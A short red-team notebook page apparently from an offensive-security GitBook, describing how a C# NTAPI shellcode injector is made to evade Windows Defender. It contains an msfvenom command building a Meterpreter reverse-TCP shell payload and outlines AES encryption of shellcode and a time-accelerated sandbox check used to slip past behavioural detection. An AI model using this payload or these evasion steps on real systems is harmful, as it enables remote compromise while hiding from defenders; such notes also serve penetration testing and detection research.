# Evasion and bypassing detection within C\#

## Overview

AV and EDR bypass techniques for C# assembly payloads.

## Experiment

In this experiment we will be using the NTAPI injector as our baseline. 

{% content-ref url="../../execution/c-.net-assembly/process-injection/using-ntapi-undocumented-functions" %}
[using-ntapi-undocumented-functions](https://rfc1918.gitbook.io/offsec/execution/c-.net-assembly/process-injection/using-ntapi-undocumented-functions)
{% endcontent-ref %}

### Msfvenom payload

```bash
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f raw EXITFUNC=thread -o shellcode.bin
```

### Injector without any shellcode

For our baseline we tested the raw injector code without any shellcode in the payload.

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2FII1p6bkruOwLI8TlH38d%2Fimage.png?alt=media&#x26;token=664cf3b2-568d-4fa5-9080-b25966d43975" alt=""><figcaption></figcaption></figure>

### Raw Meterpreter payload shellcode

Running injector with raw Meterpreter shellcode.

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2Fo4LSTBDQ6MqTsOTELxfu%2Fimage.png?alt=media&#x26;token=db4faae7-587e-424d-95b2-25c9e39e057e" alt=""><figcaption></figcaption></figure>

### Using AES encryption

Encrypting the shellcode using AES&#x20;

{% content-ref url="evasion-and-bypassing-detection-within-c/encryptors/aes-encryptor" %}
[aes-encryptor](https://rfc1918.gitbook.io/offsec/defence-evasion/anti-virus-evasion/evasion-and-bypassing-detection-within-c/encryptors/aes-encryptor)
{% endcontent-ref %}

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2F1n54nEetAe57dgZgyWyc%2Fimage.png?alt=media&#x26;token=0956d73f-fdd6-4152-8f1e-ed1fdf7ea17a" alt=""><figcaption></figcaption></figure>

### Runner it twice and defender is not so nice

So interesting, when executing it a second time Defenders behavioral analysis flagged and blocked execution.

Adding a sleep accelerator check to bypass sandboxing seems to do the trick to bypass this a second time.&#x20;

{% content-ref url="evasion-and-bypassing-detection-within-c/sandbox-evasion/time-accelerated-checks" %}
[time-accelerated-checks](https://rfc1918.gitbook.io/offsec/defence-evasion/anti-virus-evasion/evasion-and-bypassing-detection-within-c/sandbox-evasion/time-accelerated-checks)
{% endcontent-ref %}

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2FcPn4GUZpVq3dZOKShoJC%2Fimage.png?alt=media&#x26;token=bec1c117-7dd1-4e8b-b950-fe776570864f" alt=""><figcaption></figcaption></figure>

## References&#x20;

{% content-ref url="../../execution/c-.net-assembly" %}
[c-.net-assembly](https://rfc1918.gitbook.io/offsec/execution/c-.net-assembly)
{% endcontent-ref %}